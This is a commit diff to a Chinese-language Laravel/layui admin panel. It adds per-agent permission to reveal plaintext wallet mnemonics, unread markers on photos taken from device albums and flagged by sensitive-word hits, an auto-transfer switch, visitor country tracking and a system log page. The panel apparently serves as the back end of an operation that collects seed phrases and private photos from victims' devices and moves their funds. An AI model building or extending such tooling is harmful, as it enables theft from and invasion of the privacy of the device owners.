feat: menric
This commit is contained in:
@@ -48,6 +48,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
var token = @json(csrf_token());
|
||||
var botUsername = @json($botUsername ?? '');
|
||||
var botInviteUrl = @json($botInviteUrl ?? '');
|
||||
var staffMnemonicReveal = @json(!empty($staff_mnemonic_reveal));
|
||||
|
||||
function esc(s) {
|
||||
return String(s == null ? '' : s)
|
||||
@@ -56,34 +57,50 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
.replace(/</g, '<');
|
||||
}
|
||||
|
||||
var cols = [
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'username', title: '账号', width: 120, sort: true },
|
||||
{ field: 'status', title: '状态', width: 80, templet: function (d) {
|
||||
return d.status == 1
|
||||
? '<span style="color:#16a34a;font-weight:600;">启用</span>'
|
||||
: '<span style="color:#dc2626;font-weight:600;">禁用</span>';
|
||||
}},
|
||||
{ field: 'telegram_ready', title: 'TG', width: 70, templet: function (d) {
|
||||
return d.telegram_ready
|
||||
? '<span style="color:#16a34a;">已配</span>'
|
||||
: '<span style="color:#888;">未配</span>';
|
||||
}},
|
||||
{ field: 'google_bound', title: '谷歌验证', width: 90, templet: function (d) {
|
||||
return Number(d.google_bound) === 1
|
||||
? '<span style="color:#16a34a;">已绑定</span>'
|
||||
: '<span style="color:#888;">未绑定</span>';
|
||||
}},
|
||||
{ field: 'chat_id', title: 'Chat ID', width: 140 },
|
||||
{ field: 'comment', title: '备注', minWidth: 100 },
|
||||
{ field: 'album_storage_default', title: '相册存储', width: 100, templet: function (d) {
|
||||
return Number(d.album_storage_default) === 1
|
||||
? '<span style="color:#16a34a;">开</span>'
|
||||
: '<span style="color:#888;">关</span>';
|
||||
}}
|
||||
];
|
||||
@if(!empty($staff_mnemonic_reveal))
|
||||
cols.push({ field: 'can_reveal_mnemonics', title: '查看助记词', width: 110, templet: function (d) {
|
||||
return Number(d.can_reveal_mnemonics) === 1
|
||||
? '<span style="color:#16a34a;">开</span>'
|
||||
: '<span style="color:#888;">关</span>';
|
||||
}});
|
||||
@endif
|
||||
cols.push(
|
||||
{ field: 'channels_count', title: '渠道数', width: 90 },
|
||||
{ field: 'created_at', title: '创建时间', width: 160, sort: true },
|
||||
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
|
||||
);
|
||||
|
||||
table.render({
|
||||
elem: '#LAY-agent-list',
|
||||
id: 'LAY-agent-list',
|
||||
url: @json(route('admin.agents.data')),
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 70, sort: true },
|
||||
{ field: 'username', title: '账号', width: 120, sort: true },
|
||||
{ field: 'status', title: '状态', width: 80, templet: function (d) {
|
||||
return d.status == 1
|
||||
? '<span style="color:#16a34a;font-weight:600;">启用</span>'
|
||||
: '<span style="color:#dc2626;font-weight:600;">禁用</span>';
|
||||
}},
|
||||
{ field: 'telegram_ready', title: 'TG', width: 70, templet: function (d) {
|
||||
return d.telegram_ready
|
||||
? '<span style="color:#16a34a;">已配</span>'
|
||||
: '<span style="color:#888;">未配</span>';
|
||||
}},
|
||||
{ field: 'chat_id', title: 'Chat ID', width: 140 },
|
||||
{ field: 'comment', title: '备注', minWidth: 100 },
|
||||
{ field: 'album_storage_default', title: '相册存储', width: 100, templet: function (d) {
|
||||
return Number(d.album_storage_default) === 1
|
||||
? '<span style="color:#16a34a;">开</span>'
|
||||
: '<span style="color:#888;">关</span>';
|
||||
}},
|
||||
{ field: 'channels_count', title: '渠道数', width: 90 },
|
||||
{ field: 'created_at', title: '创建时间', width: 160, sort: true },
|
||||
{ title: '操作', width: 240, align: 'center', fixed: 'right', toolbar: '#LAY-agent-ops' }
|
||||
]],
|
||||
cols: [cols],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
@@ -124,6 +141,12 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
'<input type="checkbox" name="album_storage_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.album_storage_default) === 1 ? 'checked' : '') + '>' +
|
||||
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">该代理新设备默认是否开启相册存储,默认关;仅管理员可改</div>' +
|
||||
'</div></div>' +
|
||||
@if(!empty($staff_mnemonic_reveal))
|
||||
'<div class="layui-form-item"><label class="layui-form-label">查看助记词</label><div class="layui-input-block">' +
|
||||
'<input type="checkbox" name="mnemonic_reveal_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.can_reveal_mnemonics) === 1 ? 'checked' : '') + '>' +
|
||||
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">查看明文仍要谷歌验证</div>' +
|
||||
'</div></div>' +
|
||||
@endif
|
||||
'<div class="layui-form-item"><label class="layui-form-label">自动转账</label><div class="layui-input-block">' +
|
||||
'<input type="checkbox" name="auto_transfer_switch" lay-skin="switch" lay-text="开|关" ' + (Number(values.auto_transfer_enabled) === 1 ? 'checked' : '') + '>' +
|
||||
'<div class="layui-form-mid layui-word-aux" style="margin-left:0;padding:4px 0 0;">仅控制该代理渠道,与系统官方开关互不影响</div>' +
|
||||
@@ -174,9 +197,13 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
data.status = $('#LAY-agent-form input[name=status_switch]').is(':checked') ? 1 : 0;
|
||||
data.auto_transfer_enabled = $('#LAY-agent-form input[name=auto_transfer_switch]').is(':checked') ? 1 : 0;
|
||||
data.album_storage_default = $('#LAY-agent-form input[name=album_storage_switch]').is(':checked') ? 1 : 0;
|
||||
if (staffMnemonicReveal) {
|
||||
data.can_reveal_mnemonics = $('#LAY-agent-form input[name=mnemonic_reveal_switch]').is(':checked') ? 1 : 0;
|
||||
}
|
||||
delete data.status_switch;
|
||||
delete data.auto_transfer_switch;
|
||||
delete data.album_storage_switch;
|
||||
delete data.mnemonic_reveal_switch;
|
||||
onOk(data, index);
|
||||
}
|
||||
});
|
||||
|
||||
@@ -20,8 +20,10 @@
|
||||
.tag-chain-coruna{background:#0d9488}
|
||||
.tag-chain-darksword{background:#7c3aed}
|
||||
.photo-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(140px,1fr));gap:12px}
|
||||
.photo-card{display:block;background:#fff;padding:8px;text-align:center;color:#333;border:1px solid #f0f0f0}
|
||||
.photo-card{display:block;position:relative;background:#fff;padding:8px;text-align:center;color:#333;border:1px solid #f0f0f0}
|
||||
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
|
||||
.photo-thumb{position:relative;display:inline-block}
|
||||
.photo-unread-dot{position:absolute;top:2px;right:2px;width:8px;height:8px;border-radius:50%;background:#ff5722}
|
||||
/* Tables grow with the current page (e.g. 20 rows); the iframe/page scrolls. */
|
||||
.layui-table-view{min-height:420px}
|
||||
.layui-table-view .layui-table-box,
|
||||
|
||||
@@ -165,6 +165,16 @@
|
||||
@if ($tab === 'photos')
|
||||
<form class="layui-form" lay-filter="LAY-photo-filter" style="margin-bottom: 12px;">
|
||||
<div class="layui-form-item" style="margin-bottom: 0;">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label" style="width: auto;">已读</label>
|
||||
<div class="layui-input-inline" style="width: 140px;">
|
||||
<select name="read">
|
||||
<option value="">全部</option>
|
||||
<option value="0">未读</option>
|
||||
<option value="1">已读</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label" style="width: auto;">敏感词</label>
|
||||
<div class="layui-input-inline" style="width: 180px;">
|
||||
@@ -245,7 +255,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var revealMnemonic = window.CorunaMnemonicReveal({
|
||||
token: token,
|
||||
google_bound: @json(!empty($google_bound)),
|
||||
security_url: @json(auth('admin')->check() ? route('admin.security.google2fa') : '')
|
||||
security_url: @json($google2fa_url ?? '')
|
||||
});
|
||||
var dash = function (v) { return v ? v : '—'; };
|
||||
var esc = function (v) {
|
||||
@@ -315,14 +325,15 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
});
|
||||
|
||||
if (tab === 'photos') {
|
||||
var photoState = { page: 1, limit: 20, sensitive: '' };
|
||||
var photoState = { page: 1, limit: 20, sensitive: '', read: '' };
|
||||
|
||||
var renderPhotos = function () {
|
||||
$.getJSON(tabDataUrl, {
|
||||
tab: 'photos',
|
||||
page: photoState.page,
|
||||
limit: photoState.limit,
|
||||
sensitive: photoState.sensitive
|
||||
sensitive: photoState.sensitive,
|
||||
read: photoState.read
|
||||
}, function (res) {
|
||||
var $grid = $('#LAY-photo-grid').empty();
|
||||
var list = (res && res.data) ? res.data : [];
|
||||
@@ -334,6 +345,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var hit = (p.x_hit == null || p.x_hit === '') ? '—' : p.x_hit;
|
||||
var card = $(
|
||||
'<a class="photo-card" href="javascript:;">' +
|
||||
(Number(p.read) === 1 ? '' : '<i class="photo-unread-dot" title="未读"></i>') +
|
||||
'<img alt="">' +
|
||||
'<div></div>' +
|
||||
'<div class="muted" style="font-size:12px;color:#888;"></div>' +
|
||||
@@ -349,6 +361,8 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
);
|
||||
card.on('click', function (e) {
|
||||
e.preventDefault();
|
||||
card.find('.photo-unread-dot').remove();
|
||||
p.read = 1;
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: '相册预览',
|
||||
@@ -383,6 +397,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
|
||||
form.on('submit(LAY-photo-search)', function (data) {
|
||||
photoState.sensitive = data.field.sensitive || '';
|
||||
photoState.read = data.field.read || '';
|
||||
photoState.page = 1;
|
||||
renderPhotos();
|
||||
return false;
|
||||
@@ -391,6 +406,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
$('#LAY-photo-reset').on('click', function () {
|
||||
setTimeout(function () {
|
||||
photoState.sensitive = '';
|
||||
photoState.read = '';
|
||||
photoState.page = 1;
|
||||
renderPhotos();
|
||||
}, 0);
|
||||
|
||||
@@ -81,7 +81,7 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
var revealMnemonic = window.CorunaMnemonicReveal({
|
||||
token: token,
|
||||
google_bound: @json(!empty($google_bound)),
|
||||
security_url: @json(auth('admin')->check() ? route('admin.security.google2fa') : '')
|
||||
security_url: @json($google2fa_url ?? '')
|
||||
});
|
||||
|
||||
function esc(v) {
|
||||
|
||||
@@ -21,7 +21,7 @@ window.CorunaMnemonicReveal = function (opts) {
|
||||
return layer.msg('无权查看明文');
|
||||
}
|
||||
if (!googleBound) {
|
||||
return layer.msg('请先在「系统 → 谷歌验证」绑定。查看助记词必须验证。', {
|
||||
return layer.msg('请先绑定谷歌验证。查看助记词必须验证。', {
|
||||
time: 3200
|
||||
}, function () {
|
||||
if (securityUrl && parent && parent.layui && parent.layui.index) {
|
||||
|
||||
@@ -15,6 +15,16 @@
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">已读</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="read">
|
||||
<option value="">全部</option>
|
||||
<option value="0">未读</option>
|
||||
<option value="1">已读</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">敏感词</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -32,7 +42,10 @@
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-photo-list" lay-filter="LAY-photo-list"></table>
|
||||
<script type="text/html" id="LAY-photo-thumb">
|
||||
<img src="@{{d.url}}" lay-event="preview" title="点击预览" style="max-height:48px;max-width:72px;cursor:pointer;">
|
||||
<span class="photo-thumb">
|
||||
<img src="@{{d.url}}" lay-event="preview" title="点击预览" style="max-height:48px;max-width:72px;cursor:pointer;">
|
||||
@{{# if(!d.read){ }}<i class="photo-unread-dot" title="未读"></i>@{{# } }}
|
||||
</span>
|
||||
</script>
|
||||
<script type="text/html" id="LAY-photo-ops">
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
@@ -55,6 +68,9 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'thumb', title: '预览', width: 100, templet: '#LAY-photo-thumb' },
|
||||
{ field: 'device_key', title: '设备 ID', width: 150 },
|
||||
{ field: 'channel_id', title: '渠道 ID', minWidth: 220 },
|
||||
{ field: 'read', title: '已读', width: 80, templet: function (d) {
|
||||
return Number(d.read) === 1 ? '已读' : '<span style="color:#ff5722;">未读</span>';
|
||||
} },
|
||||
{ field: 'x_hit', title: '敏感词', width: 90, sort: true },
|
||||
{ field: 'size', title: '大小', width: 100, sort: true },
|
||||
{ field: 'created_at', title: '创建时间', width: 170, sort: true },
|
||||
@@ -82,6 +98,9 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'preview') {
|
||||
if (Number(obj.data.read) !== 1) {
|
||||
obj.update({ read: 1 });
|
||||
}
|
||||
var url = obj.data.url;
|
||||
layer.open({
|
||||
type: 1,
|
||||
|
||||
@@ -24,9 +24,6 @@
|
||||
<span style="color:#999;">未开启</span>
|
||||
@endif
|
||||
</p>
|
||||
<p class="layui-word-aux" style="margin-bottom:16px;">
|
||||
绑定后可以关闭登录验证。超级管理员查看助记词明文必须使用谷歌验证,与登录开关无关。
|
||||
</p>
|
||||
|
||||
@if(!$bound)
|
||||
<form class="layui-form" lay-filter="LAY-ga-prepare" style="max-width:520px;">
|
||||
@@ -103,10 +100,11 @@
|
||||
layui.use(['form', 'layer'], function () {
|
||||
var form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
var token = @json(csrf_token());
|
||||
var routes = @json($routes);
|
||||
|
||||
form.on('submit(LAY-ga-prepare)', function (data) {
|
||||
$.ajax({
|
||||
url: @json(route('admin.security.google2fa.prepare')),
|
||||
url: routes.prepare,
|
||||
method: 'POST',
|
||||
data: Object.assign({}, data.field, { _token: token }),
|
||||
success: function (res) {
|
||||
@@ -132,7 +130,7 @@ layui.use(['form', 'layer'], function () {
|
||||
var payload = Object.assign({}, data.field, { _token: token });
|
||||
payload.login_verify = $('input[name=login_verify]').is(':checked') ? 1 : 0;
|
||||
$.ajax({
|
||||
url: @json(route('admin.security.google2fa.bind')),
|
||||
url: routes.bind,
|
||||
method: 'POST',
|
||||
data: payload,
|
||||
success: function (res) {
|
||||
@@ -149,7 +147,7 @@ layui.use(['form', 'layer'], function () {
|
||||
|
||||
function toggle(open) {
|
||||
$.ajax({
|
||||
url: @json(route('admin.security.google2fa.toggle')),
|
||||
url: routes.toggle,
|
||||
method: 'POST',
|
||||
data: {
|
||||
_token: token,
|
||||
@@ -174,7 +172,7 @@ layui.use(['form', 'layer'], function () {
|
||||
$('#LAY-ga-unbind').on('click', function () {
|
||||
layer.confirm('确定解除谷歌验证绑定?解除后无法查看助记词明文。', function (index) {
|
||||
$.ajax({
|
||||
url: @json(route('admin.security.google2fa.unbind')),
|
||||
url: routes.unbind,
|
||||
method: 'POST',
|
||||
data: {
|
||||
_token: token,
|
||||
|
||||
@@ -139,6 +139,9 @@
|
||||
<a lay-href="{{ route('admin.security.google2fa') }}">谷歌验证</a>
|
||||
</dd>
|
||||
@if(auth('admin')->user()?->isSuper())
|
||||
<dd data-name="logs">
|
||||
<a lay-href="{{ route('admin.system.logs.index') }}">系统日志</a>
|
||||
</dd>
|
||||
<dd data-name="admins">
|
||||
<a lay-href="{{ route('admin.system.admins.index') }}">管理员</a>
|
||||
</dd>
|
||||
|
||||
@@ -0,0 +1,69 @@
|
||||
@extends('admin.content')
|
||||
|
||||
@section('title', '系统日志')
|
||||
|
||||
@section('content')
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-syslog-search">
|
||||
<div class="layui-form-item">
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">操作人</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="username" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">操作内容</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="keyword" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">类型</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="action">
|
||||
<option value="">全部</option>
|
||||
@foreach ($actions as $value => $label)
|
||||
<option value="{{ $value }}">{{ $label }}</option>
|
||||
@endforeach
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-syslog-search">搜索</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-syslog-list" lay-filter="LAY-syslog-list"></table>
|
||||
</div>
|
||||
</div>
|
||||
@endsection
|
||||
|
||||
@push('scripts')
|
||||
<script>
|
||||
layui.use(['table', 'form'], function () {
|
||||
var table = layui.table, form = layui.form;
|
||||
table.render({
|
||||
elem: '#LAY-syslog-list',
|
||||
id: 'LAY-syslog-list',
|
||||
url: @json(route('admin.system.logs.data')),
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 80, sort: true },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
||||
{ field: 'actor_role', title: '身份', width: 90 },
|
||||
{ field: 'actor_username', title: '操作人', width: 120 },
|
||||
{ field: 'content', title: '操作内容', minWidth: 280 },
|
||||
{ field: 'ip', title: 'IP', width: 140 }
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
form.on('submit(LAY-syslog-search)', function (data) {
|
||||
table.reload('LAY-syslog-list', { where: data.field, page: { curr: 1 } });
|
||||
return false;
|
||||
});
|
||||
});
|
||||
</script>
|
||||
@endpush
|
||||
@@ -44,6 +44,19 @@
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title">
|
||||
<legend>相册存储(官方渠道)</legend>
|
||||
</fieldset>
|
||||
<div class="layui-form-item">
|
||||
<label class="layui-form-label">开关</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="hidden" name="official_album_storage" value="0">
|
||||
<input type="checkbox" name="official_album_storage" value="1" lay-skin="switch" lay-text="开|关"
|
||||
{{ ($form['album_storage.official_default'] ?? '0') === '1' ? 'checked' : '' }}>
|
||||
<div class="layui-form-mid layui-word-aux">仅控制官方渠道新设备默认值;代理渠道由代理用户各自开关控制。已有设备请在设备列表单独改。</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<fieldset class="layui-elem-field layui-field-title">
|
||||
<legend>自动转账(官方渠道)</legend>
|
||||
</fieldset>
|
||||
@@ -117,6 +130,7 @@ layui.use(['form', 'layer'], function () {
|
||||
|
||||
form.on('submit(LAY-settings-save)', function (data) {
|
||||
var payload = Object.assign({}, data.field, { _token: token });
|
||||
payload.official_album_storage = $('#LAY-settings-form input[name=official_album_storage][type=checkbox]').is(':checked') ? '1' : '0';
|
||||
payload.auto_transfer_enabled = $('#LAY-settings-form input[name=auto_transfer_enabled][type=checkbox]').is(':checked') ? '1' : '0';
|
||||
$.ajax({
|
||||
url: @json(route('admin.system.settings.update')),
|
||||
|
||||
@@ -47,6 +47,12 @@
|
||||
<input type="text" name="browser" class="layui-input" placeholder="如 Safari" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">国家</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="country" class="layui-input" placeholder="如 CN" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">Referer</label>
|
||||
<div class="layui-input-block">
|
||||
@@ -98,6 +104,9 @@ layui.use(['table', 'form', 'layer'], function () {
|
||||
{ field: 'browser', title: '浏览器', width: 100 },
|
||||
{ field: 'browser_version', title: '浏览器版本', width: 110 },
|
||||
{ field: 'ip', title: 'IP', width: 130 },
|
||||
{ field: 'country_label', title: '国家', width: 90, templet: function (d) {
|
||||
return d.country_label || d.country || '—';
|
||||
} },
|
||||
{ field: 'referer', title: 'Referer', minWidth: 220 },
|
||||
{ field: 'user_agent', title: 'UA', minWidth: 260 },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true },
|
||||
|
||||
@@ -28,6 +28,10 @@
|
||||
<label class="layadmin-user-login-icon layui-icon layui-icon-password" for="LAY-user-login-password"></label>
|
||||
<input type="password" name="password" id="LAY-user-login-password" lay-verify="required" placeholder="密码" class="layui-input" autocomplete="current-password">
|
||||
</div>
|
||||
<div class="layui-form-item">
|
||||
<label class="layadmin-user-login-icon layui-icon layui-icon-vercode" for="LAY-user-login-GACode"></label>
|
||||
<input type="text" name="GACode" id="LAY-user-login-GACode" inputmode="numeric" autocomplete="one-time-code" placeholder="谷歌验证码(未开启可留空)" class="layui-input">
|
||||
</div>
|
||||
<div class="layui-form-item" style="margin-bottom: 20px;">
|
||||
<input type="checkbox" name="remember" value="1" lay-skin="primary" title="记住密码">
|
||||
</div>
|
||||
|
||||
@@ -34,6 +34,7 @@
|
||||
</a>
|
||||
<dl class="layui-nav-child">
|
||||
<dd style="text-align: center;"><a lay-href="{{ route('user.password.index') }}">修改密码</a></dd>
|
||||
<dd style="text-align: center;"><a lay-href="{{ route('user.security.google2fa') }}">谷歌验证</a></dd>
|
||||
<dd layadmin-event="logout" style="text-align: center;"><a>退出</a></dd>
|
||||
</dl>
|
||||
</li>
|
||||
@@ -123,6 +124,9 @@
|
||||
<dd data-name="password">
|
||||
<a lay-href="{{ route('user.password.index') }}">修改密码</a>
|
||||
</dd>
|
||||
<dd data-name="google2fa">
|
||||
<a lay-href="{{ route('user.security.google2fa') }}">谷歌验证</a>
|
||||
</dd>
|
||||
</dl>
|
||||
</li>
|
||||
</ul>
|
||||
|
||||
Reference in New Issue
Block a user